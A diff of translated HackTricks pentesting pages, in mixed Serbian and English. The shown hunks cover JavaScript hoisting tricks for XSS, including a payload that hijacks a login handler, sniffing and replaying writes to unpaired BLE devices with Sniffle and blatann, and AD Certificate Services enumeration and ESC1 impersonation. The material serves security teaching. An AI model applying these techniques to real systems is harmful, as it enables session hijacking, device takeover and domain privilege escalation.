-Na osnovu informacija sa MDN, postoje četiri različita tipa hoistinga u JavaScriptu:
+Na osnovu informacija sa MDN-a, postoji četiri različita tipa hoistinga u JavaScript-u:
 
-1. **Value Hoisting**: Omogućava upotrebu vrednosti promenljive unutar njenog opsega pre linije njene deklaracije.
-2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali vrednost promenljive biće `undefined`.
-3. Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre stvarne linije njene deklaracije.
-4. Sporedni efekti deklaracije se dešavaju pre nego što se ostatak koda koji je sadrži evaluira.
+1. **Value Hoisting**: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre linije njene deklaracije.
+2. **Declaration Hoisting**: Dozvoljava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja `ReferenceError`, ali će vrednost promenljive biti `undefined`.
+3. Ovaj tip menja ponašanje unutar svog opsega zato što je deklaracija promenljive dostupna pre njene stvarne linije deklaracije.
+4. Sporedni efekti deklaracije se javljaju pre nego što se ostatak koda koji sadrži tu deklaraciju evaluira.
 
-Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksičke deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` statements su jedinstveni po tome što se hoistuju sa ponašanjem tipa 1 i tipa 4.
+Detaljnije, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč `var` demonstrira ponašanje tipa 2. Leksikalne deklaracije, koje uključuju `let`, `const` i `class`, pokazuju ponašanje tipa 3. Na kraju, `import` izjave su jedinstvene po tome što su hoistovane sa ponašanjem tipa 1 i tipa 4.
 
 ## Scenariji
 
-Dakle, ako imate scenarije u kojima možete **Inject JS code after an undeclared object** is used, možete **fix the syntax** tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku):
+Dakle, ako imate scenarije u kojima možete ubaciti JS kod nakon što se koristi nedeklarisan objekat, možete ispraviti sintaksu tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da baci grešku):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -129,9 +129,9 @@ alert(1) -
 }
 trigger()
 ```
-### Spreči kasnije deklaracije zaključavanjem imena pomoću const
+### Sprečite kasnije deklaracije zaključavanjem imena pomoću const
 
-Ako možete izvršiti kod pre nego što se top-level `function foo(){...}` parsira, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo veže taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preoteli kritični handleri definisani kasnije na stranici:
+Ako možete da izvršite kod pre nego što se parsira top-level `function foo(){...}`, deklarisanjem leksičkog vezivanja istog imena (npr. `const foo = ...`) sprečićete kasniju deklaraciju funkcije da ponovo vezuje taj identifikator. Ovo se može zloupotrebiti u RXSS da bi se preuzeli kritični handleri definisani kasnije na stranici:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -145,9 +145,9 @@ function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
 Napomene
 - Ovo zavisi od redosleda izvršavanja i globalnog (top-level) opsega.
-- Ako se vaš payload izvršava unutar `eval()`, imajte na umu da su `const/let` unutar `eval` block-scoped i neće napraviti globalne binding-e. Ubacite novi `<script>` element sa kodom da uspostavite pravi globalni `const`.
+- Ako se vaš payload izvršava unutar `eval()`, imajte na umu da su `const/let` unutar `eval` blok-ograničeni (block-scoped) i neće kreirati globalne binding-e. Ubacite novi `<script>` element sa kodom kako biste uspostavili pravu globalnu `const`.
 
-## Reference
+## Izvori
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,19 +4,19 @@
 
 ## Uvod
 
-Dostupan od Bluetooth 4.0 specifikacije, BLE koristi samo 40 kanala, pokrivajući opseg od 2400 do 2483.5 MHz. Nasuprot tome, tradicionalni Bluetooth koristi 79 kanala u istom opsegu.
+Dostupan od Bluetooth 4.0 specifikacije, BLE koristi samo 40 kanala, pokrivajući opseg od 2400 do 2483.5 MHz. Za razliku od toga, tradicionalni Bluetooth koristi 79 kanala u istom opsegu.
 
-BLE uređaji komuniciraju slanjem **advertising packets** (**beacons**); ti paketi emituju postojanje BLE uređaja drugim bliskim uređajima. Ti beaconi ponekad takođe **send data**.
+BLE uređaji komuniciraju slanjem **advertising packets** (**beacons**), ovi paketi emituju postojanje BLE uređaja drugim uređajima u blizini. Ovi beacon-i ponekad takođe **slaju podatke**.
 
-Uređaj koji sluša, takođe nazvan centralni uređaj, može odgovoriti na advertising packet sa **SCAN request** poslatim specifično advertising uređaju. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name.
+Slušajući uređaj, takođe nazivan centralnim uređajem, može da odgovori na advertising paket sa **SCAN request** poslatim specifično oglašavajućem uređaju. **Response** na taj scan koristi istu strukturu kao i **advertising** paket sa dodatnim informacijama koje nisu stale u inicijalni advertising request, kao što je puno ime uređaja.
 
 ![](<../../images/image (152).png>)
 
-Preambula bajt sinhronizuje frekvenciju, dok je četvorobajtna access address **connection identifier**, koja se koristi u scenarijima gde više uređaja pokušava da uspostavi konekcije na istim kanalima. Zatim, Protocol Data Unit (**PDU**) sadrži **advertising data**. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste tip PDU **ADV_NONCONN_IND** ako **don’t accept connections**, transmitujući podatke samo u advertising packetu. Uređaji koriste **ADV_IND** ako **allow connections** i **stop sending advertising** pakete kada je **connection** **established**.
+Preamble bajt sinhronizuje frekvenciju, dok je četvorobajtna access address **connection identifier**, koja se koristi u scenarijima gde više uređaja pokušava da uspostavi konekcije na istim kanalima. Zatim, Protocol Data Unit (**PDU**) sadrži **advertising data**. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste **ADV_NONCONN_IND** tip PDU ako oni **ne prihvataju konekcije**, prenoseći podatke samo u advertising paketu. Uređaji koriste **ADV_IND** ako oni **dozvoljavaju konekcije** i **prestaju sa slanjem advertising** paketa kada je **veza** **uspostavljena**.
 
 ### GATT
 
-The **Generic Attribute Profile** (GATT) definiše kako **device should format and transfer data**. Kada analizirate attack surface BLE uređaja, često ćete se fokusirati na GATT (ili GATTs), jer je to način na koji se **device functionality gets triggered** i kako se podaci čuvaju, grupišu i modifikuju. GATT navodi karakteristike uređaja, deskriptore i servise u tabeli kao vrednosti od 16 ili 32 bita. A **characteristic** je vrednost podataka **sent** između centralnog uređaja i periferije. Te karakteristike mogu imati **descriptors** koji im pružaju dodatne informacije. **Characteristics** se često grupišu u **services** ako su povezane sa izvršavanjem određene akcije.
+Generic Attribute Profile (GATT) definiše kako uređaj treba da formatira i prenosi podatke. Kada analizirate površinu napada BLE uređaja, često ćete se fokusirati na GATT (ili GATTs), jer je to način na koji se pokreću funkcionalnosti uređaja i kako se podaci čuvaju, grupišu i menjaju. GATT navodi karakteristike, deskriptore i servise uređaja u tabeli kao vrednosti od 16- ili 32-bita. Karakteristika je vrednost podataka koja se šalje između centralnog uređaja i perifernog uređaja. Ove karakteristike mogu imati deskriptore koji pružaju dodatne informacije o njima. Karakteristike se često grupišu u servise ako su povezane sa izvršavanjem određene akcije.
 
 ## Enumeracija
 ```bash
@@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** omogućava da **uspostavi** **vezu** sa drugim uređajem, navodeći **karakteristike** tog uređaja i čitajući i upisujući njegove atribute.\  
-GATTTool može pokrenuti interaktivni shell pomoću opcije `-I`:
+**GATTool** omogućava **uspostavljanje** **veze** sa drugim uređajem, navodeći njegove **karakteristike**, i čitajući i pišući njegove atribute.\
+GATTTool može pokrenuti interactive shell pomoću opcije `-I`:
 ```bash
 gatttool -i hci0 -I
 [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@@ -64,13 +64,13 @@ sudo bettercap --eval "ble.recon on"
 >> ble.write <MAC ADDR> <UUID> <HEX DATA>
 >> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
 ```
-## Sniffing i aktivno upravljanje nepariranim BLE uređajima
+## Sniffing i aktivno kontrolisanje nepariranih BLE uređaja
 
-Mnogi jeftini BLE periferijski uređaji ne nameću pairing/bonding. Bez bondinga, Link Layer encryption se nikada ne uključuje, pa je ATT/GATT saobraćaj u cleartext-u. Off-path sniffer može pratiti konekciju, dekodirati GATT operacije da bi saznao characteristic handles i values, i bilo koji obližnji host potom se može povezati i replay-ovati te writes kako bi kontrolisao uređaj.
+Mnogi jeftini BLE periferni uređaji ne primenjuju pairing/bonding. Bez bondinga, Link Layer encryption nikada nije omogućen, pa je ATT/GATT saobraćaj u cleartext-u. Off-path sniffer može pratiti vezu, dekodirati GATT operacije da bi saznao characteristic handles i vrednosti, i bilo koji obližnji host zatim može da se poveže i replay-uje te write-ove kako bi kontrolisao uređaj.
 
 ### Sniffing with Sniffle (CC26x2/CC1352)
 
-Hardver: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) ponovo flash-ovan sa NCC Group’s Sniffle firmware.
+Hardver: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) ponovo flashovan sa NCC Group-ovim Sniffle firmware-om.
 
 Instalirajte Sniffle i njegov Wireshark extcap na Linux:
 ```bash
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Flash Sonoff with Sniffle firmware (proverite da vaš serijski uređaj odgovara, npr. /dev/ttyUSB0):
+Flash Sonoff with Sniffle firmware (pobrinite se da vaš serijski uređaj odgovara, npr. /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -104,13 +104,13 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
 deactivate
 popd
 ```
-Snimite u Wireshark preko Sniffle extcap i brzo pivotujte na upise koji menjaju stanje filtriranjem:
+Snimite u Wireshark preko Sniffle extcap i brzo pređite (pivot to state-changing writes) filtriranjem:
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-Ovo ističe ATT Write Commands od client-a; handle i value često se direktno mapiraju na akcije uređaja (npr. write 0x01 na buzzer/alert characteristic, 0x00 za zaustavljanje).
+Ovo ističe ATT Write Commands od klijenta; handle i value često direktno mapiraju na radnje uređaja (npr. write 0x01 na buzzer/alert characteristic, 0x00 za zaustavljanje).
 
-Brzi primeri za Sniffle CLI:
+Sniffle CLI — brzi primeri:
 ```bash
 python3 scanner.py --output scan.pcap
 # Only devices with very strong signal
@@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin takođe radi. Na malim/jeftinim Nordic dongle-ovima obično prepisujete USB bootloader da biste učitali sniffer firmware, pa ili držite posvećeni sniffer dongle ili vam treba J-Link/JTAG da kasnije vratite bootloader.
+Alternativni sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. Na malim/jeftinim Nordic dongles obično prepisujete USB bootloader da biste učitali sniffer firmware, pa ili zadržite namenski sniffer dongle ili vam treba J-Link/JTAG da kasnije vratite bootloader.
 
 ### Aktivna kontrola preko GATT
 
-Kada identifikujete writable characteristic handle i vrednost iz sniffed saobraćaja, povežite se kao bilo koji central i izvršite istu Write operaciju:
+Kada identifikujete writable characteristic handle i value iz sniffed traffic, povežite se kao bilo koji central i pošaljite isti write:
 
 - Sa Nordic nRF Connect for Desktop (BLE app):
-- Izaberite nRF52/nRF52840 dongle, skenirajte i povežite se sa ciljem.
-- Pregledajte GATT database, pronađite target characteristic (često ima friendly name, npr. Alert Level).
-- Izvršite Write sa sniffed bytes (npr. 01 za aktiviranje, 00 za zaustavljanje).
+- Odaberite nRF52/nRF52840 dongle, scan i connect to the target.
+- Pregledajte GATT database, pronađite target characteristic (često ima friendly name, npr., Alert Level).
+- Izvršite Write sa sniffed bytes (npr., 01 za aktiviranje, 00 za zaustavljanje).
 
-- Automatizujte na Windows koristeći Nordic dongle i Python + blatann:
+- Automatizujte na Windows sa Nordic dongle koristeći Python + blatann:
 ```python
 import time
 import blatann
@@ -169,11 +169,11 @@ peer.disconnect()
 peer.wait_for_disconnect()
 ble_device.close()
 ```
-### Operativne napomene i mere
+### Operativne napomene i mitigacije
 
-- Preporučuje se korišćenje Sonoff+Sniffle na Linuxu za pouzdano channel hopping i praćenje konekcije. Imajte rezervni Nordic sniffer kao rezervu.
-- Bez pairing/bonding, napadač u blizini može posmatrati writes i replay/craft svoje za neautentifikovane writable karakteristike.
-- Mere ublažavanja: zahtevati pairing/bonding i primeniti enkripciju; podesiti characteristic permissions da zahtevaju authenticated writes; minimizovati neautentifikovane writable karakteristike; validirati GATT ACLs pomoću Sniffle/nRF Connect.
+- Preporučuje se Sonoff+Sniffle na Linuxu za pouzdan channel hopping i connection following. Držite rezervni Nordic sniffer kao rezervu.
+- Bez pairing/bonding, svaki napadač u blizini može posmatrati writes i replay/craft sopstvene na unauthenticated writable characteristics.
+- Mitigacije: zahtevajte pairing/bonding i primenite encryption; podesite characteristic permissions da zahtevaju authenticated writes; minimizirajte unauthenticated writable characteristics; verifikujte GATT ACLs pomoću Sniffle/nRF Connect.
 
 ## References
 

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -1,4 +1,4 @@
-# AD Certificates
+# AD Sertifikati
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,100 +6,100 @@
 
 ### Komponente sertifikata
 
-- The **Subject** of the certificate denotes its owner.
-- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
-- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
-- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
-- The **Issuer** refers to the CA that has issued the certificate.
-- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
-- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
-- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
-- The **Signature Algorithm** specifies the method for signing the certificate.
-- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
+- The **Subject** sertifikata označava njegovog vlasnika.
+- A **Public Key** je u paru sa privatnim ključem kako bi povezao sertifikat sa njegovim zakonitim vlasnikom.
+- The **Validity Period**, definisan putem datuma **NotBefore** i **NotAfter**, označava važeći period sertifikata.
+- Jedinstveni **Serial Number**, koji obezbeđuje Certificate Authority (CA), identifikuje svaki sertifikat.
+- The **Issuer** označava CA koja je izdala sertifikat.
+- **SubjectAlternativeName** omogućava dodatna imena za subject, povećavajući fleksibilnost identifikacije.
+- **Basic Constraints** identifikuju da li je sertifikat za CA ili krajnji entitet i definišu ograničenja upotrebe.
+- **Extended Key Usages (EKUs)** određuju specifične namene sertifikata, kao što su code signing ili email encryption, pomoću Object Identifiers (OIDs).
+- The **Signature Algorithm** specificira metod za potpisivanje sertifikata.
+- The **Signature**, kreirana privatnim ključem izdavaoca, garantuje autentičnost sertifikata.
 
 ### Posebne napomene
 
-- **Subject Alternative Names (SANs)** proširuju primenjivost sertifikata na više identiteta, što je ključno za servere sa više domena. Sigurni procesi izdavanja su neophodni da bi se izbegao rizik od lažiranja kroz manipulaciju specifikacije SAN-a.
+- **Subject Alternative Names (SANs)** proširuju primenjivost sertifikata na više identiteta, što je ključno za servere sa više domena. Bezbedni procesi izdavanja su vitalni da bi se izbegli rizici impersonacije ako napadači manipulišu specifikacijom SAN-a.
 
-### Certificate Authorities (CAs) in Active Directory (AD)
+### Certificate Authorities (CAs) u Active Directory (AD)
 
-AD CS prepoznaje CA sertifikate u AD forestu kroz određene kontejnere, od kojih svaki ima svoju ulogu:
+AD CS prepoznaje CA sertifikate u AD forestu kroz određene kontejnere, od kojih svaki ima jedinstvenu ulogu:
 
-- **Certification Authorities** container holds trusted root CA certificates.
-- **Enrolment Services** container details Enterprise CAs and their certificate templates.
-- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
-- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
+- **Certification Authorities** kontejner sadrži poverene root CA sertifikate.
+- **Enrolment Services** kontejner sadrži informacije o Enterprise CA i njihovim certificate templates.
+- **NTAuthCertificates** objekat uključuje CA sertifikate ovlašćene za AD autentikaciju.
+- **AIA (Authority Information Access)** kontejner olakšava validaciju lanca sertifikata pomoću posredničkih (intermediate) i cross-CA sertifikata.
 
-### Certificate Acquisition: Client Certificate Request Flow
+### Nabavka sertifikata: Tok zahteva klijenta za sertifikat
 
-1. Proces zahteva počinje tako što klijenti pronalaze Enterprise CA.
-2. Kreira se CSR koji sadrži public key i ostale podatke nakon generisanja para ključeva (public/private).
-3. CA procenjuje CSR u odnosu na dostupne certificate templates i izdaje sertifikat bazirano na dozvolama iz template-a.
+1. Proces započinje kada klijenti pronađu Enterprise CA.
+2. CSR se kreira i sadrži public key i ostale podatke, nakon generisanja para public-private ključeva.
+3. CA procenjuje CSR u odnosu na dostupne certificate templates i izdaje sertifikat na osnovu permisija definisanih šablonom.
 4. Nakon odobrenja, CA potpisuje sertifikat svojim privatnim ključem i vraća ga klijentu.
 
 ### Certificate Templates
 
-Definisani u AD-u, ovi template-i opisuju podešavanja i permisije za izdavanje sertifikata, uključujući dozvoljene EKU-e i prava za enrollment ili izmenu — što je ključno za kontrolu pristupa servisima za izdavanje sertifikata.
+Definisani u AD, ovi šabloni navode podešavanja i dozvole za izdavanje sertifikata, uključujući dozvoljene EKU-ove i prava za enrolovanje ili izmene, što je kritično za upravljanje pristupom servisima za sertifikate.
 
-## Certificate Enrollment
+## Enrolovanje sertifikata
 
-Proces enrolementa sertifikata pokreće administrator koji **kreira certificate template**, a zatim ga **publikuje** na Enterprise Certificate Authority (CA). Time template postaje dostupan za enrolement klijenata, što se postiže dodavanjem imena template-a u `certificatetemplates` polje Active Directory objekta.
+Proces enrolovanja sertifikata pokreće administrator koji **kreira šablon sertifikata**, koji potom **objavljuje** Enterprise Certificate Authority (CA). Time je šablon dostupan za enrolovanje klijenata, što se postiže dodavanjem imena šablona u polje `certificatetemplates` objekta u Active Directory.
 
-Da bi klijent mogao da zahteva sertifikat, mora mu biti dodeljeno **enrollment rights**. Ta prava su definisana kroz security descriptor-e na certificate template-u i na samom Enterprise CA. Dozvole moraju biti dodeljene na oba mesta da bi zahtev bio uspešan.
+Da bi klijent mogao da zatraži sertifikat, moraju mu biti dodeljena **prava za enrolovanje**. Ta prava su definisana kroz security descriptor-e na šablonu sertifikata i na samom Enterprise CA. Dozvole moraju biti dodeljene na oba mesta da bi zahtev bio uspešan.
 
-### Template Enrollment Rights
+### Prava za enrolovanje šablona
 
-Ova prava se specifišu kroz Access Control Entries (ACEs) i opisuju dozvole kao što su:
+Ova prava su specificirana kroz Access Control Entries (ACEs), i detalji dozvola uključuju, na primer:
 
-- **Certificate-Enrollment** i **Certificate-AutoEnrollment** rights, svaki povezan sa specifičnim GUID-ovima.
-- **ExtendedRights**, omogućavajući sve proširene dozvole.
-- **FullControl/GenericAll**, dajući potpuni kontrolu nad template-om.
+- **Certificate-Enrollment** i **Certificate-AutoEnrollment** prava, svako povezano sa specifičnim GUID-ovima.
+- **ExtendedRights**, dozvoljavajući sve extended permisije.
+- **FullControl/GenericAll**, pružajući potpunu kontrolu nad šablonom.
 
-### Enterprise CA Enrollment Rights
+### Prava za enrolovanje na Enterprise CA
 
-Prava CA-e su definisana u njenom security descriptor-u, koji je dostupan preko Certificate Authority konzole za upravljanje. Neka podešavanja čak mogu omogućiti udaljeni pristup korisnicima sa niskim privilegijama, što predstavlja sigurnosni rizik.
+Prava CA su navedena u njegovom security descriptor-u, dostupnom preko Certificate Authority management konzole. Neka podešavanja čak omogućavaju udaljeni pristup korisnicima sa niskim privilegijama, što može predstavljati sigurnosni rizik.
 
 ### Dodatne kontrole izdavanja
 
-Neke kontrole koje se mogu primeniti uključuju:
+Mogu važiti određene kontrole, kao što su:
 
-- **Manager Approval**: stavlja zahteve u pending stanje dok ne budu odobreni od strane certificate manager-a.
-- **Enrolment Agents and Authorized Signatures**: specificiraju broj potrebnih potpisa na CSR-u i neophodne Application Policy OID-e.
+- **Manager Approval**: Stavlja zahteve u pending stanje dok ih ne odobri menadžer za sertifikate.
+- **Enrolment Agents and Authorized Signatures**: Specifikuju broj potrebnih potpisa na CSR-u i neophodne Application Policy OID-ove.
 
-### Methods to Request Certificates
+### Metode za zahtevanje sertifikata
 
-Sertifikati se mogu zahtevati putem:
+Sertifikati se mogu tražiti putem:
 
-1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), koristeći DCOM interfejse.
-2. **ICertPassage Remote Protocol** (MS-ICPR), preko named pipes ili TCP/IP.
-3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
-4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
-5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
+1. Windows Client Certificate Enrollment Protocol (MS-WCCE), korišćenjem DCOM interfejsa.
+2. ICertPassage Remote Protocol (MS-ICPR), preko named pipes ili TCP/IP.
+3. certificate enrollment web interface, uz instaliranu Certificate Authority Web Enrollment ulogu.
+4. Certificate Enrollment Service (CES), u saradnji sa Certificate Enrollment Policy (CEP) servisom.
+5. Network Device Enrollment Service (NDES) za mrežne uređaje, koristeći Simple Certificate Enrollment Protocol (SCEP).
 
-Windows korisnici takođe mogu zahtevati sertifikate preko GUI-a (`certmgr.msc` ili `certlm.msc`) ili komandnih alata (`certreq.exe` ili PowerShell's `Get-Certificate` command).
+Korisnici na Windows-u mogu takođe zahtevati sertifikate preko GUI-ja (`certmgr.msc` ili `certlm.msc`) ili alata iz komandne linije (`certreq.exe` ili PowerShell komande `Get-Certificate`).
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Autentifikacija sertifikatom
+## Certificate Authentication
 
-Active Directory (AD) podržava autentifikaciju sertifikatom, uglavnom koristeći **Kerberos** i **Secure Channel (Schannel)** protokole.
+Active Directory (AD) podržava autentifikaciju pomoću sertifikata, prvenstveno koristeći protokole **Kerberos** i **Secure Channel (Schannel)**.
 
-### Kerberos autentifikacioni proces
+### Kerberos Authentication Process
 
-U Kerberos autentifikacionom procesu, zahtev korisnika za Ticket Granting Ticket (TGT) potpisuje se pomoću **private key** korisnikovog sertifikata. Ovaj zahtev prolazi kroz više provera od strane domain controller-a, uključujući **validnost**, **putanju** i **status opoziva** sertifikata. Provere takođe uključuju potvrđivanje da sertifikat potiče iz pouzdanog izvora i potvrdu prisustva izdavaoca u **NTAUTH certificate store**. Uspešne provere rezultiraju izdavanjem TGT-a. Objekat **`NTAuthCertificates`** u AD-u, koji se nalazi na:
+U Kerberos procesu autentifikacije, zahtev korisnika za Ticket Granting Ticket (TGT) se potpisuje koristeći **privatni ključ** korisnikovog sertifikata. Ovaj zahtev prolazi kroz nekoliko provera od strane kontrolera domena, uključujući **validnost**, **putanju** i **status opoziva** sertifikata. Provere takođe uključuju verifikaciju da sertifikat potiče iz poverenog izvora i potvrdu prisustva izdavaoca u **NTAUTH skladištu sertifikata**. Uspešne provere rezultuju izdavanjem TGT-a. Objekat **`NTAuthCertificates`** u AD, koji se nalazi na:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-je ključno za uspostavljanje poverenja pri autentifikaciji pomoću sertifikata.
+je centralno za uspostavljanje poverenja za autentifikaciju sertifikatom.
 
-### Secure Channel (Schannel) autentifikacija
+### Secure Channel (Schannel) Authentication
 
-Schannel omogućava sigurne TLS/SSL veze, gde klijent tokom handshake-a predstavlja sertifikat koji, ako je uspešno verifikovan, odobrava pristup. Mapiranje sertifikata na AD nalog može uključivati Kerberos-ovu funkciju **S4U2Self** ili **Subject Alternative Name (SAN)** sertifikata, između ostalih metoda.
+Schannel omogućava sigurne TLS/SSL veze, gde tokom handshake-a klijent predstavlja sertifikat koji, ako je uspešno verifikovan, ovlašćuje pristup. Mapiranje sertifikata na AD nalog može uključivati Kerberosovu funkciju **S4U2Self** ili **Subject Alternative Name (SAN)** sertifikata, između ostalih metoda.
 
-### Enumeracija AD Certificate Services
+### AD Certificate Services Enumeration
 
-AD Certificate Services mogu se enumerisati putem LDAP upita, otkrivajući informacije o **Enterprise Certificate Authorities (CAs)** i njihovim konfiguracijama. Ovo je dostupno bilo kom korisniku autentifikovanom u domenu bez posebnih privilegija. Alati kao što su **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** koriste se za enumeraciju i procenu ranjivosti u AD CS okruženjima.
+AD-ove usluge sertifikata mogu se enumerisati kroz LDAP upite, otkrivajući informacije o **Enterprise Certificate Authorities (CAs)** i njihovim konfiguracijama. Ovo je dostupno svakom korisniku autentifikovanom u domenu bez posebnih privilegija. Alati kao što su **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** koriste se za enumeraciju i procenu ranjivosti u AD CS okruženjima.
 
 Komande za korišćenje ovih alata uključuju:
 ```bash

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,44 +1,44 @@
-# AD CS eskalacija domena
+# AD CS: eskalacija u domenu
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**Ovo je sažetak sekcija o tehnikama eskalacije iz postova:**
+**Ovo je sažetak sekcija tehnika eskalacije iz postova:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## Pogrešno konfigurisanih predložaka sertifikata - ESC1
+## Misconfigured Certificate Templates - ESC1
 
-### Objašnjenje
+### Explanation
 
-### Objašnjenje Pogrešno konfigurisanih predložaka sertifikata - ESC1
+### Misconfigured Certificate Templates - ESC1 Explained
 
-- **Prava za enrolment su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.**
-- **Odobrenje menadžera nije potrebno.**
-- **Potpisi ovlašćenog osoblja nisu potrebni.**
-- **Bezbednosni deskriptori na predlošcima sertifikata su previše permisivni, što omogućava korisnicima sa niskim privilegijama da dobiju prava za enrolment.**
-- **Predlošci sertifikata su konfigurisanI tako da definišu EKU-e koji omogućavaju autentikaciju:**
-- Extended Key Usage (EKU) identifikatori kao što su Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), ili bez EKU (SubCA) su uključeni.
-- **Predložak dozvoljava zahtevateljima da uključe subjectAltName u Certificate Signing Request (CSR):**
-- Active Directory (AD) daje prioritet subjectAltName (SAN) u sertifikatu za verifikaciju identiteta ako je prisutan. To znači da specificiranjem SAN u CSR-u, sertifikat može biti zatražen da se impersonira bilo koji korisnik (npr. domain administrator). Da li zahtevatelj može da specificira SAN naznačeno je u AD objektu predloška sertifikata kroz `mspki-certificate-name-flag` svojstvo. Ovo svojstvo je bitmask, i prisustvo `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag-a dopušta specificiranje SAN-a od strane zahtevatelja.
+- **Enrolment rights su dodeljena korisnicima sa niskim privilegijama od strane Enterprise CA.**
+- **Odobrenje menadžera nije obavezno.**
+- **Nisu potrebni potpisi ovlašćenog osoblja.**
+- **Security descriptors na predlošcima sertifikata su previše permisivni, što omogućava korisnicima sa niskim privilegijama da dobiju enrolment rights.**
+- **Predlošci sertifikata su konfigurisani da definišu EKU-e koji olakšavaju autentifikaciju:**
+- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
+- **Predložak dozvoljava podnosiocima zahteva da uključe subjectAltName u Certificate Signing Request (CSR):**
+- Active Directory (AD) prioritizes the subjectAltName (SAN) in a certificate for identity verification if present. This means that by specifying the SAN in a CSR, a certificate can be requested to impersonate any user (e.g., a domain administrator). Whether a SAN can be specified by the requester is indicated in the certificate template's AD object through the `mspki-certificate-name-flag` property. This property is a bitmask, and the presence of the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag permits the specification of the SAN by the requester.
 
 > [!CAUTION]
